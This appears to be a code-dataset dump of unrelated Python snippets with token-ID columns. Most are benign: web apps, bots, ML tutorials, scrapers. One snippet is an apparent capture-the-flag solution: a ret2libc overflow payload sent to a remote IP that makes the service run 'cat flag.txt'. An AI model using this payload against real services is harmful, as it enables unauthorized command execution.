content
stringlengths 1
1.04M
| input_ids
sequencelengths 1
774k
| ratio_char_token
float64 0.38
22.9
| token_count
int64 1
774k
|
|---|---|---|---|
from bottle import route, run, debug, template, request
import sqlite3
def pretty_print_POST(req):
"""
At this point it is completely built and ready
to be fired; it is "prepared".
However pay attention at the formatting used in
this function because it is programmed to be pretty
printed and may differ from the actual request.
"""
print('{}\n{}\n{}\n\n{}'.format(
'-----------START-----------',
req.method + ' ' + req.url,
'\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
req.body,
))
print ("----")
print(req.body.getvalue())
print ("----")
items = {1: 'first item', 2: 'second item'}
@route('/new', method="GET")
recent10 = "SELECT * FROM todo ORDER BY id DESC LIMIT 10;"
@route('/')
debug(True)
run(host='0.0.0.0', port=8080, reloader=True)
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28,
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] | 2.60061 | 328 |
# -*- coding: utf-8 -*
#!/usr/bin/python
from dealctrl import *
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import os
import discord
import asyncio
import logging
from discord.ext import commands
from simc import SimC
logger = logging.getLogger('discord')
logger.setLevel(logging.DEBUG)
handler = logging.FileHandler(
filename='discord.log', encoding='utf-8', mode='w')
handler.setFormatter(
logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %(message)s'))
logger.addHandler(handler)
TOKEN = os.environ.get("DISCORD_TOKEN")
bot = commands.Bot(
command_prefix=commands.when_mentioned_or('!'),
description='Quick sims in discord')
bot.add_cog(SimC(bot, "C:\Simulationcraft(x64)\simc"))
@bot.event
bot.run(TOKEN)
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11,
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34,
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7,
87,
2414,
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66,
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31,
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13,
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628,
198,
13645,
13,
5143,
7,
10468,
43959,
8,
198
] | 2.677966 | 236 |
import re
from .default import DefaultParser
| [
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764,
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1330,
15161,
46677,
628
] | 4.272727 | 11 |
'''
@author: m0t
'''
#search for blocks colored purple(0x9933cc) and creates a disabled breakpoint at the start of each.
#To be used with process stalker to immediately see "interesting" blocks
from idc import *
from idautils import *
purple = 0x9933cc #our definition of purple...
#get start address of each function, scan it for purple, setbreakpoint()
funit = Functions()
prevFlag = False
while True:
try:
faddr = funit.next()
except StopIteration:
break
itemsit = FuncItems(faddr)
while True:
try:
item = itemsit.next()
except StopIteration:
break
if GetColor(item, 1) == purple and prevFlag == False:
AddBpt(item)
EnableBpt(item, False)
prevFlag = True
#resetting the flag when we go out of "interesting" block
if GetColor(item, 1) != purple and prevFlag == True:
prevFlag = False
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197,
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2,
411,
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262,
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467,
503,
286,
366,
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1,
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197,
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7,
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6624,
6407,
25,
198,
197,
197,
197,
47050,
34227,
796,
10352,
628
] | 2.878472 | 288 |
'''
Problem Statement
Given a string with lowercase letters only, if you are allowed to replace no more than ‘k’ letters with any letter, find the length of the longest substring having the same letters after replacement.
Example 1:
Input: String="aabccbb", k=2
Output: 5
Explanation: Replace the two 'c' with 'b' to have a longest repeating substring "bbbbb".
Example 2:
Input: String="abbcb", k=1
Output: 4
Explanation: Replace the 'c' with 'b' to have a longest repeating substring "bbbb".
Example 3:
Input: String="abccde", k=1
Output: 3
Explanation: Replace the 'b' or 'd' with 'c' to have the longest repeating substring "ccc".
'''
# mycode
# answer
main()
'''
Time Complexity
The time complexity of the above algorithm will be O(N) where ‘N’ is the number of letters in the input string.
Space Complexity
As we are expecting only the lower case letters in the input string, we can conclude that the space complexity will be O(26), to store each letter’s frequency in the HashMap, which is asymptotically equal to O(1).
'''
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262,
5128,
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460,
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326,
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13357,
481,
307,
440,
7,
2075,
828,
284,
3650,
1123,
3850,
447,
247,
82,
8373,
287,
262,
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457,
313,
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4961,
284,
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198,
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198
] | 3.373377 | 308 |
'''Contributed by Carey Evans'''
import sys
from Ft.Xml.Xslt import Processor
"""outenc.py
Test whether 4DOM and 4XSLT produce correct output given different
input strings, using different output encodings. The general testing
procedure goes:
Read document into DOM from string <A>.
Extract text into Unicode string <B>.
Write DOM to another string <X> using specified output encoding.
Read <X> into a DOM, and extract text into Unicode string <Y>.
Check whether <B> == <Y>.
An exception at any stage is also an error. Any Unicode character can
be encoded in any output encoding, e.g. LATIN CAPITAL LETTER C WITH
CARON as Č.
"""
# All the following strings are in UTF-8;
# I'm not trying to test the parser.
input_88591 = '0x0041 is A, 0x00C0 is \303\200.'
input_88592 = '0x0041 is A, 0x010C is \304\214.'
input_both = '0x0041 is A, 0x00C0 is \303\200, 0x010C is \304\214.'
inputs = [('ISO-8859-1', input_88591),
# ('ISO-8859-2', input_88592),
# ('Unicode', input_both)
]
#out_encodings = ['UTF-8', 'ISO-8859-1', 'ISO-8859-2']
out_encodings = ['UTF-8', 'ISO-8859-1']
xslt_input_fmt = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE text [ <!ELEMENT text (#PCDATA)> ]>
<text>%s</text>'''
xslt_identity = '''<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="xml" indent="no" encoding="%s"/>
<xsl:template match="/">
<text><xsl:value-of select="text"/></text>
</xsl:template>
</xsl:stylesheet>'''
#'
try:
from xml.dom.ext.reader import Sax2
import xml.unicode.iso8859
from xml.sax import saxexts
except ImportError:
Sax2 = None
pass
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0,
36,
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6,
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16,
13,
15,
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29,
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27,
87,
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25,
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25473,
35555,
5907,
25,
87,
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2625,
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1378,
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13,
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15,
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2446,
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82,
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27,
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25,
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2872,
35922,
5320,
198,
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5239,
6927,
87,
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25,
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12,
1659,
2922,
2625,
5239,
1,
14,
12240,
5239,
29,
198,
3556,
87,
6649,
25,
28243,
29,
198,
3556,
87,
6649,
25,
47720,
25473,
29,
7061,
6,
198,
2,
6,
198,
198,
28311,
25,
198,
220,
220,
220,
422,
35555,
13,
3438,
13,
2302,
13,
46862,
1330,
29242,
17,
198,
220,
220,
220,
1330,
35555,
13,
46903,
1098,
13,
26786,
3459,
3270,
198,
220,
220,
220,
422,
35555,
13,
82,
897,
1330,
46909,
2302,
82,
198,
16341,
17267,
12331,
25,
198,
220,
220,
220,
29242,
17,
796,
6045,
198,
220,
220,
220,
1208,
198
] | 2.533532 | 671 |
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from __future__ import print_function
import h2o
from tests import pyunit_utils
from h2o.estimators.glm import H2OGeneralizedLinearEstimator
if __name__ == "__main__":
pyunit_utils.standalone_test(testOrdinalLogit)
else:
testOrdinalLogit()
| [
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220,
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35422,
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11187,
270,
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] | 2.614035 | 114 |
from django.db import models
| [
6738,
42625,
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1330,
4981,
628,
198
] | 3.444444 | 9 |
import socket
import struct
from binascii import hexlify
system_plt = 0x080483a0
sh = 0x80485c0 # /bin/bash -c 'cat flag.txt'
payload = "A"*140
payload += struct.pack("<I", system_plt)
payload += "AAAA"
payload += struct.pack("<I", sh)
#open('payload', 'w').write(payload)
s=socket.create_connection(('212.71.235.214', 5000))
print s.recv(1024)
s.send(payload+'\n')
print s.recv(1024)
#flag{assembly_is_awesome!!}
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198,
198,
2,
32109,
90,
41873,
62,
271,
62,
707,
5927,
3228,
92,
628
] | 2.365169 | 178 |
import struct
| [
11748,
2878,
198
] | 4.666667 | 3 |
from random import randrange
kingCards = ['C', 'C', 'C', 'C', 'K']
slaveCards = ['C', 'C', 'C', 'C', 'S']
print("""- C = Citizen
- S = Slave
- K = King""")
for i in range(5):
print('Your cards:', slaveCards)
cardIPlay = input('Which card will you play? ')
slaveCards.remove(cardIPlay)
cardKPlay = kingCards[randrange(len(kingCards))]
kingCards.remove(cardKPlay)
print('The enemy played', cardKPlay + '!')
if cardIPlay == 'S' and cardKPlay == 'C':
print('Defeated!')
break
elif cardIPlay == 'C' and cardKPlay == 'K':
print('Defeated!')
break
elif cardIPlay == 'S' and cardKPlay == 'K':
print('Victory!')
break
else:
print('Draw!')
| [
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42,
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42,
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220,
220,
220,
220,
220,
220,
220,
3601,
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68,
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0,
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220,
220,
220,
220,
220,
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220,
220,
220,
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50,
6,
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42,
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42,
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198,
220,
220,
220,
220,
220,
220,
220,
3601,
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652,
0,
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198,
220,
220,
220,
220,
220,
220,
220,
2270,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
10786,
25302,
0,
11537,
198
] | 2.230061 | 326 |
from boiler.testing.testcase import ViewTestCase
from tests.test_app.app import app as test_app
class BaseTestCase(ViewTestCase):
"""
Base test case
Uses test case from shiftboiler to provide flask-integrated testing
facilities.
"""
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198,
220,
220,
220,
7291,
13,
198,
220,
220,
220,
37227,
628
] | 3.240506 | 79 |
from classes.portfolio import Portfolio
from classes.menu import Menu
main()
| [
6738,
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] | 3.9 | 20 |
import plac
import os
from collections import defaultdict
import logging
logging.basicConfig (format="%(asctime)s : %(levelname)s : %(message)s", level=logging.INFO)
@plac.annotations(
dirname = ("path of the directory", "positional"),
srcfile = ("source filename", "positional"),
tgtfile = ("target filename", "positional")
)
if __name__ == "__main__":
plac.call (main)
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834,
1298,
198,
197,
489,
330,
13,
13345,
357,
12417,
8,
198
] | 2.976378 | 127 |
#!/usr/bin/python3
__author__ = "yang.dd"
"""
example 080
"""
if __name__ == '__main__':
'''
从第五只猴子拿1个的桃子开始算
如果有一只不满足条件，则从头开始计算，直到满足
'''
monkey = 5
peach5th = 1
peach = 1
while monkey > 1:
total = peach * 5 + 1
if total % 4 == 0:
monkey -= 1
peach = total / 4
else:
# 从第5只猴开始算
peach5th += 1
peach = peach5th
monkey = 5
print("沙滩上最少有：%d个桃子。" % (int(peach * 5 + 1)))
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220,
220,
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162,
110,
247,
162,
119,
102,
41468,
17312,
222,
22887,
239,
17312,
231,
171,
120,
248,
4,
67,
10310,
103,
162,
94,
225,
36310,
16764,
1,
4064,
357,
600,
7,
431,
620,
1635,
642,
1343,
352,
22305,
198
] | 1.335065 | 385 |
#!/usr/bin/env python3
import os
import zlib
from struct import pack, unpack
class Codec(object):
"""\
Main codec for DRP.
"""
def run(self):
"""\
Run the codec and write the output file.
"""
with open(self.ifname, 'rb') as f:
self.iofunc(f)
def encode(self, f):
"""\
Encode DRP: Boilderplate header and XML compression
"""
if os.path.basename(self.ofname) == "musicInfo.drp":
type = 0
elif os.path.basename(self.ofname) == "katsu_theme.drp":
type = 1
else:
print("Please name your output file correctly. It should be musicInfo.drp or katsu_theme.drp.")
sys.exit()
rxml_data = f.read()
bxml_data = zlib.compress(rxml_data)
bxmls = (len(bxml_data) + 12) if type == 0 else (len(bxml_data) + 8) # 12 for Taiko 3, 4 for Taiko 1.. And 8 for katsu_theme
checksum = len(rxml_data)
#Margin is different for katsu
unknown_margin = (0x20000001, 0x0310, 0x00010001, 0) if type == 0 else (0x20000001, 0x01B0, 0x00010001, 0)
quadup = lambda x: (x, x, x, x)
align = lambda x: x * b'\x00'
with open(self.ofname, 'wb') as of:
unknown, filecount = 2, 1
of.seek(0x14)
of.write(pack('>HH', unknown, filecount))
of.seek(0x60)
# Notice: the original musicInfo.drp stores the filename
# `musicinfo_db`, which might be game-specific
if type == 0:
of.write(bytes("musicinfo_db".encode('ascii')))
if type == 1:
of.write(bytes("katsu_theme_db".encode('ascii')))
of.seek(0xa0) #Jump to A0 (Where the unknown string is written and the rest of it)
of.write(pack('>9I',
*unknown_margin,
*quadup(bxmls), #???
checksum))
of.write(bxml_data)
remain = of.tell() % 0x10
if remain: of.write(align(0x10 - remain))
def decode(self, f):
"""\
Decode DRP: Decompress XML data
"""
f.seek(0x14)
unknown, filecount = unpack('>HH', f.read(4))
if filecount != 1:
#TODO...
print('Not a single XML compressed file, internal names will be used instead.')
f.seek(0x60)
for i in range(filecount):
fname = f.read(0x40).split(b'\x00')[0].decode("utf-8")
print(fname)
#No idea what this line is.
f.read(0x10)
# bxmls: binary XML size (zlib compressed), rxmls: Raw XML size
# the 4 bxmls are duplicate, and rxmls is for checksum
bxmls, bxmls2, bxmls3, bxmls4, rxmls = unpack('>5I', f.read(4 * 5))
bxml_data = f.read(bxmls - 4) # rxmls is an unsigned integer
if bxmls > 80:
bxml_data = zlib.decompress(bxml_data) # no Unix EOF (\n)
if len(bxml_data) != rxmls:
raise ChecksumError('Checksum failed, file might be broken')
if filecount == 1:
with open(self.ofname, 'wb') as of:
of.write(bxml_data)
else:
with open(fname+".xml", 'wb') as of:
of.write(bxml_data)
| [
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] | 2.244043 | 1,217 |
# Complete the solve function below. | [
2,
13248,
262,
8494,
2163,
2174,
13
] | 5.142857 | 7 |
from common.make_tx import (
make_swap_tx, make_reward_tx, make_transfer_in_tx, make_transfer_out_tx,
make_unknown_tx, make_unknown_tx_with_transfer, _make_tx_exchange
)
from osmo import util_osmo
| [
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628,
628
] | 2.460674 | 89 |
# Copyright 2007 Neal Norwitz
# Portions Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Find warnings for C++ code.
TODO(nnorwitz): provide a mechanism to configure which warnings should
be generated and which should be suppressed. Currently, all possible
warnings will always be displayed. There is no way to suppress any.
There also needs to be a way to use annotations in the source code to
suppress warnings.
"""
from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals
import os
import sys
from . import ast
from . import headers
from . import keywords
from . import metrics
from . import symbols
from . import tokenize
from . import utils
try:
basestring
except NameError:
basestring = str
__author__ = '[email protected] (Neal Norwitz)'
HEADER_EXTENSIONS = frozenset(['.h', '.hh', '.hpp', '.h++', '.hxx', '.cuh'])
CPP_EXTENSIONS = frozenset(['.cc', '.cpp', '.c++', '.cxx', '.cu'])
# These enumerations are used to determine how a symbol/#include file is used.
UNUSED = 0
USES_REFERENCE = 1
USES_DECLARATION = 2
DECLARATION_TYPES = (ast.Class, ast.Struct, ast.Enum, ast.Union)
class Module(object):
"""Data container representing a single source file."""
| [
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] | 3.425287 | 522 |
import numpy
from pylab import *
import tables
rc('text', usetex=True)
Lx = 100.0
Ly = 50.0
B0 = 1/15.0
n0 = 1.0
mu0 = 1.0
elcCharge = -1.0
ionCharge = 1.0
ionMass = 1.0
elcMass = ionMass/25
elcMass = ionMass/25
ionCycl = ionCharge*B0/ionMass
start = 0
end = 100
nFrame = end-start+1
tm = zeros((nFrame,), float)
flx = zeros((nFrame,), float)
count = 0
for i in range(start, end+1):
print ("Working on %d ..." % i)
fh = tables.openFile("s296-harris-tenmom_q_%d.h5" % i)
q = fh.root.StructGridField
nx, ny = q.shape[0], q.shape[1]
YI = ny/4
X = linspace(0, Lx, nx)
Y = linspace(0, Ly, ny)
dx = X[1]-X[0]
dy = Y[1]-Y[0]
tm[count] = fh.root.timeData._v_attrs['vsTime']
flx[count] = dx*sum(abs(q[0:nx,YI,24]))
count = count+1
tmDiff, flxDiff = calcDeriv(tm, flx)
figure(1)
plot(ionCycl*tm, flx/flx[0]*0.2, '-k', label='$\psi$')
legend(loc='best')
title('$\psi$')
xlabel('Time')
ylabel('$\psi$')
fp = open("s296-byFlux.txt", "w")
for i in range(flx.shape[0]):
fp.writelines("%g %g\n" % (ionCycl*tm[i], flx[i]))
fp.close()
#figure(2)
#plot(ionCycl*tmDiff, flxDiff, '-ko')
#legend(loc='best')
#title('$d\psi/dt$')
#xlabel('Time')
#ylabel('$d\psi/dt$')
show()
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] | 1.918367 | 637 |
import csv
import time
import requests
import argparse
from sys import exit
from typing import List, Optional, Tuple, Any
from bs4 import BeautifulSoup
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--input', action='store', type=str, required=True)
parser.add_argument('-o', '--output', action='store', type=str, required=True)
parser.add_argument('-k', '--api_key', action='store', type=str, required=True)
parser.add_argument('-c', '--max_count', action='store', type=int, default=-1)
parser.add_argument('-s', '--start', action='store', type=int, default=-1)
args = parser.parse_args()
# read input file and get header
input_csv_file = open(args.input, 'r')
input_csv_data_reader = csv.reader(input_csv_file, delimiter=",")
csv_header = next(input_csv_data_reader) + ["Gene name", "Gene description", "Strand", "Gene type"]
# get output file ready
output_csv_file = open(args.output, "w", newline='')
output_csv_data_writer = csv.writer(output_csv_file, delimiter=',')
output_csv_data_writer.writerow(csv_header)
rows = []
curr_count = 0
for row in input_csv_data_reader:
curr_count += 1
if args.start != -1 and curr_count < args.start:
print(f"Skipping row #{curr_count}.")
continue
(ret_status, gene_name, ret_row) = get_data_using_row(row)
if ret_status == False:
print(f"Processing FAILED for #{curr_count}.")
elif ret_status is None:
print("KeyboardInterrupt called.")
exit(0)
else: # ret_status == True
print(f"Processing (#{curr_count}) -- {row[18]} / {gene_name}")
output_csv_data_writer.writerow(ret_row)
# output_csv_file.flush()
if args.max_count != -1 and curr_count >= args.max_count:
break
# close the input and output files
input_csv_file.close()
output_csv_file.close()
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] | 2.370892 | 852 |
import unittest
from Cell import Cell
from Blanking_Cell_Exception import Blanking_Cell_Exception
if __name__ == '__main__':
unittest.main()
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] | 3.104167 | 48 |
import torch
from torch import nn
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] | 3.888889 | 9 |
import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import LinearRegression, Ridge
from sklearn.metrics import mean_squared_error
from sklearn.model_selection import train_test_split
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import PolynomialFeatures, StandardScaler
# ---------------------------The Normal Equation---------------------
# X = 2 * np.random.rand(100, 1)
# y = 4 + 3 * X + np.random.randn(100, 1)
#
# X_b = np.c_[np.ones((100, 1)), X] # add x0 = 1 to each instance
# theta_best = np.linalg.inv(X_b.T.dot(X_b)).dot(X_b.T).dot(y)
# X_new = np.array([[0], [2]])
# X_new_b = np.c_[np.ones((2, 1)), X_new] # add x0 = 1 to each instance
# y_predict = X_new_b.dot(theta_best)
# plt.plot(X_new, y_predict, "r-", linewidth=2, label="Predictions")
# plt.plot(X, y, "b.")
# plt.xlabel("$x_1$", fontsize=18)
# plt.ylabel("$y$", rotation=0, fontsize=18)
# plt.legend(loc="upper left", fontsize=14)
# plt.axis([0, 2, 0, 15])
# plt.show()
# lin_reg = LinearRegression()
# lin_reg.fit(X, y)
# print(lin_reg.intercept_, lin_reg.coef_)
# print(lin_reg.predict(X_new))
# -------------------------Gradient Descent---------------------
# def plot_gradient_descent(theta, eta, theta_path=None):
# m = len(X_b)
# plt.plot(X, y, "b.")
# n_iterations = 1000
# for iteration in range(n_iterations):
# if iteration < 10:
# y_predict = X_new_b.dot(theta)
# style = "b-" if iteration > 0 else "r--"
# plt.plot(X_new, y_predict, style)
# gradients = 2 / m * X_b.T.dot(X_b.dot(theta) - y)
# theta = theta - eta * gradients
# if theta_path is not None:
# theta_path.append(theta)
# plt.xlabel("$x_1$", fontsize=18)
# plt.axis([0, 2, 0, 15])
# plt.title(r"$\eta = {}$".format(eta), fontsize=16)
# theta_path_bgd = []
# np.random.seed(42)
# theta = np.random.randn(2, 1) # random initialization
# plt.figure(figsize=(10, 4))
# plt.subplot(131);plot_gradient_descent(theta, eta=0.02)
# plt.ylabel("$y$", rotation=0, fontsize=18)
# plt.subplot(132);plot_gradient_descent(theta, eta=0.1, theta_path=theta_path_bgd)
# plt.subplot(133);plot_gradient_descent(theta, eta=0.5)
# plt.show()
# -------------------------Stochastic Gradient Descent-------------------------
# theta_path_sgd = []
# m = len(X_b)
# np.random.seed(42)
# n_epochs = 50
# t0, t1 = 5, 50 # learning schedule hyperparameters
# def learning_schedule(t):
# return t0 / (t + t1)
# theta = np.random.randn(2,1) # random initialization
# for epoch in range(n_epochs):
# for i in range(m):
# if epoch == 0 and i < 20: # not shown in the book
# y_predict = X_new_b.dot(theta) # not shown
# style = "b-" if i > 0 else "r--" # not shown
# plt.plot(X_new, y_predict, style) # not shown
# random_index = np.random.randint(m)
# xi = X_b[random_index:random_index+1]
# yi = y[random_index:random_index+1]
# gradients = 2 * xi.T.dot(xi.dot(theta) - yi)
# eta = learning_schedule(epoch * m + i)
# theta = theta - eta * gradients
# theta_path_sgd.append(theta) # not shown
# plt.plot(X, y, "b.") # not shown
# plt.xlabel("$x_1$", fontsize=18) # not shown
# plt.ylabel("$y$", rotation=0, fontsize=18) # not shown
# plt.axis([0, 2, 0, 15]) # not shown
# plt.show()
# print(theta)
# -------------------------Polynomial Regression-------------------------
# np.random.seed(42)
# m = 100
# X = 6 * np.random.rand(m, 1) - 3
# y = 0.5 * X**2 + X + 2 + np.random.randn(m, 1)
#
# poly_features = PolynomialFeatures(degree=2, include_bias=False)
# X_poly = poly_features.fit_transform(X)
# lin_reg = LinearRegression()
# lin_reg.fit(X_poly, y)
#
# X_new=np.linspace(-3, 3, 100).reshape(100, 1)
# X_new_poly = poly_features.transform(X_new)
# y_new = lin_reg.predict(X_new_poly)
# for style, width, degree in (("g-", 1, 300), ("b--", 2, 2), ("r-+", 2, 1)):
# polybig_features = PolynomialFeatures(degree=degree, include_bias=False)
# std_scaler = StandardScaler()
# lin_reg = LinearRegression()
# polynomial_regression = Pipeline([
# ("poly_features", polybig_features),
# ("std_scaler", std_scaler),
# ("lin_reg", lin_reg),
# ])
# polynomial_regression.fit(X, y)
# y_newbig = polynomial_regression.predict(X_new)
# plt.plot(X_new, y_newbig, style, label=str(degree), linewidth=width)
#
# plt.plot(X, y, "b.", linewidth=3)
# plt.legend(loc="upper left")
# plt.xlabel("$x_1$", fontsize=18)
# plt.ylabel("$y$", rotation=0, fontsize=18)
# plt.axis([-3, 3, 0, 10])
# plt.show()
# -------------------------Learning Curves-------------------------
# def plot_learning_curves(model, X, y):
# X_train, X_val, y_train, y_val = train_test_split(X, y, test_size=0.2)
# train_errors, val_errors = [], []
# for m in range(1, len(X_train)):
# model.fit(X_train[:m], y_train[:m])
# y_train_predict = model.predict(X_train[:m])
# y_val_predict = model.predict(X_val)
# train_errors.append(mean_squared_error(y_train_predict, y_train[:m]))
# val_errors.append(mean_squared_error(y_val_predict, y_val))
# plt.plot(np.sqrt(train_errors), "r-+", linewidth=2, label="train")
# plt.plot(np.sqrt(val_errors), "b-", linewidth=3, label="val")
#
#
# polynomial_regression = Pipeline([
# ("poly_features", PolynomialFeatures(degree=10, include_bias=False)),
# ("lin_reg", LinearRegression()),
# ])
# plot_learning_curves(polynomial_regression, X, y)
# plt.axis([0, 80, 0, 3]) # not shown in the book
# plt.show()
# -------------------------Regularized Linear Model-------------------------
np.random.seed(42)
m = 20
X = 3 * np.random.rand(m, 1)
y = 1 + 0.5 * X + np.random.randn(m, 1) / 1.5
X_new = np.linspace(0, 3, 100).reshape(100, 1)
plt.figure(figsize=(8,4))
plt.subplot(121)
plot_model(Ridge, polynomial=False, alphas=(0, 10, 100), random_state=42)
plt.ylabel("$y$", rotation=0, fontsize=18)
plt.subplot(122)
plot_model(Ridge, polynomial=True, alphas=(0, 10**-5, 1), random_state=42)
plt.show()
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] | 2.144903 | 2,933 |
#!/usr/bin/python
"""
Python wrapper example to test socketpair protocol
./test-socketpair.py test.cfg
use sockpair@${FD1} and sockpair@${FD2} in your configuration file
"""
import socket, os, sys
s = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
os.set_inheritable(s[0].fileno(), 1)
os.set_inheritable(s[1].fileno(), 1)
FD1 = s[0].fileno()
FD2 = s[1].fileno()
print("FD1={} FD2={}".format(FD1, FD2))
os.environ["FD1"] = str(FD1)
os.environ["FD2"] = str(FD2)
cmd = ["./haproxy",
"-f",
"{}".format(sys.argv[1])
]
os.execve(cmd[0], cmd, os.environ)
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8,
198
] | 2.253906 | 256 |
from output.models.sun_data.elem_decl.abstract.abstract00101m.abstract00101m_xsd.abstract00101m import (
Head,
HeadType,
Member1,
Root,
)
__all__ = [
"Head",
"HeadType",
"Member1",
"Root",
]
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# This file is part of the Edison Project.
# Please refer to the LICENSE document that was supplied with this software for information on how it can be used.
from django.db import models
from django.contrib.auth.models import User
# These are the models required for the basic CMDB
# First, Define our list of countries
# Now define the counties/States that we can use
# Where do people/things live?
# What companies are there that we might want to talk to?
# A list of all our contacts both within and external to the company we work for
# Our Datacentres
# The rooms in the datacentres
# The suites in the datacentres
# The racks in the suites in the rooms in the datacentres....
# The different classes of configuration items
# The network interfaces that are assigned to configuration items
# the following classes are based on the libvirt xml standard, although they do not contain all the possible options
# Configuration Item Profiles
# The configuration items (servers/switches etc)
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] | 3.754513 | 277 |
from bs4 import BeautifulSoup
import requests
import sqlite3
conn = sqlite3.connect("output.db")
cur = conn.cursor()
headers = {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET',
'Access-Control-Allow-Headers': 'Content-Type',
'Access-Control-Max-Age': '3600',
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/84.0'
}
url = "https://www.brightermonday.co.ke/jobs"
response = requests.get(url, headers, timeout=5)
content = BeautifulSoup(response.content, "html.parser")
# article = content.find('article', attrs={"class": "search-result"})
# employer = article.find('div', attrs={"class": "search-result__job-meta"})
# print(article.prettify())
# print(employer.text)
job_posting = []
for posting in content.findAll('article', attrs={"class": "search-result"}):
job_post = {
"title": posting.find('h3').text,
"link": posting.find('a').get('href'),
"employer": posting.find('div', attrs={"class": "search-result__job-meta"}).text,
}
job_posting.append(job_post)
# writing to database
for job_post in job_posting:
cur.execute("INSERT INTO scraped_data (title, link, employer) values (?, ?, ?)",
(job_post["title"], job_post["link"], job_post["employer"])
)
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] | 2.544402 | 518 |
# -*- coding: utf-8 -*-
from gensim.models import word2vec
import os
import logging
MODEL_NAME = 'text8'
DATA_PATH = 'data\\text8'
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import cv2 as cv2
import numpy as np
from collections import Counter
import math
import matplotlib.pyplot as plt
#test images
# s='add.png'
s='lenna.jpg'
s='ttt.jpg'
#pixel used for SIFT
pixelX=200
pixelY=200
#functions
#main
img=cv2.imread(s)
h,w,d = np.shape(img)
#convolution matrix
c=1
convX=np.zeros((3,3),np.double)
convX[0,0]=0;convX[0,1]=0;convX[0,2]=0;convX[1,0]=-c;convX[1,1]=0
convX[1,2]= c;convX[2,0]= -0;convX[2,1]=0;convX[2,2]=0
convY=np.zeros((3,3),np.double)
convY[0,0]=-0;convY[0,1]=-c;convY[0,2]=-0;convY[1,0]=0;convY[1,1]=0
convY[1,2]= 0;convY[2,0]= 0;convY[2,1]=c;convY[2,2]=0
#threshold for contours
seuil=30
img,contours,imgContoursX,imgContoursY=getContours(img,seuil)
blocks=getBlock(img,pixelX,pixelY)
dic={}
histogrammes=[]
for block in blocks:
#count orientations for histogramme
array=np.matrix.flatten(block)
count=Counter(array)
for c in count:
dic[roundAngleTitle(c)]=count[c]
histogrammes.append(dic.copy())
dic={}
showHist(histogrammes)
cv2.imshow('image : '+s,img)
cv2.waitKey(0) | [
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] | 1.921875 | 576 |
#!/usr/bin/env python
import os
from glob import glob
if os.environ.get('USE_SETUPTOOLS'):
from setuptools import setup
setup_kwargs = dict(zip_safe=0)
else:
from distutils.core import setup
setup_kwargs = dict()
storage_dirs = [ ('storage/whisper',[]), ('storage/lists',[]),
('storage/log',[]), ('storage/rrd',[]) ]
conf_files = [ ('conf', glob('conf/*.example')) ]
setup(
name='carbon',
version='0.9.8',
url='https://launchpad.net/graphite',
author='Chris Davis',
author_email='[email protected]',
license='Apache Software License 2.0',
description='Backend data caching and persistence daemon for Graphite',
packages=['carbon', 'carbon.aggregator'],
package_dir={'' : 'lib'},
scripts=glob('bin/*'),
package_data={ 'carbon' : ['*.xml'] },
data_files=storage_dirs + conf_files,
install_requires=['twisted', 'txamqp'],
**setup_kwargs
)
| [
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] | 2.687688 | 333 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
Split off 2D variable from file with other variables
Notes
----
- based on software carpentary example.
http://damienirving.github.io/capstone-oceanography/03-data-provenance.html
"""
# Modules to import
from netCDF4 import Dataset
import numpy as np
import pylab as pl
import calendar
# add extra's for copied function...
import os
import sys
import argparse
import datetime
# --- verbose and debug settings for script main call
VERBOSE = False
DEBUG = False
def main(filename=None, VarName='OLSON', verbose=False, debug=False):
"""
Driver to split off variables
"""
# Get the file name and location
wd, fn = get_file_loc_and_name()
# name output file if name not given
if isinstance(filename, type(None)):
filename = wd.split('/')[-2]
if debug:
print((wd, fn, filename))
inFile = wd+'/'+fn
# Set output name
outfile_name = inFile+'.out'
# Read input data
VarData, input_DATA = read_data(inFile, VarName=VarName)
# Set values?
# print type(VarData)
# print [ (i.shape, i.mean(), i.min(), i.max()) for i in VarData]
# VarData[VarData>1] = 1
# print [ (i.shape, i.mean(), i.min(), i.max()) for i in VarData]
# --- Write the output file
outfile = Dataset(outfile_name, 'w', format='NETCDF4')
set_global_atts(input_DATA, outfile)
copy_dimensions(input_DATA, outfile)
copy_variables(input_DATA, outfile, VarName=VarName)
# overwite data
outfile[VarName][:] = VarData
# Close file
outfile.close()
def get_file_loc_and_name():
""" Get file location and name """
# Use command line grab function
import sys
# Get arguments from command line
wd = sys.argv[1]
fn = sys.argv[2]
return wd, fn
def copy_dimensions(infile, outfile):
"""
Copy the dimensions of the infile to the outfile
"""
for dimName, dimData in iter(list(infile.dimensions.items())):
outfile.createDimension(dimName, len(dimData))
def copy_variables(infile, outfile, VarName='OLSON'):
"""
Create variables corresponding to the file dimensions
by copying from infile
"""
# Get vars
var_list = ['lon', 'lat', 'time']
# Also consider LANDMAP value
var_list += [VarName]
# Now loop
for var_name in var_list:
varin = infile.variables[var_name]
outVar = outfile.createVariable(var_name, varin.datatype,
varin.dimensions,
)
outVar[:] = varin[:]
var_atts = {}
for att in varin.ncattrs():
if not att == '_FillValue':
var_atts[att] = eval('varin.'+att)
outVar.setncatts(var_atts)
def read_data(ifile, VarName='OLSON'):
"""
Read data from ifile corresponding to the VarName
"""
input_DATA = Dataset(ifile)
VarData = input_DATA.variables[VarName][:]
return VarData, input_DATA
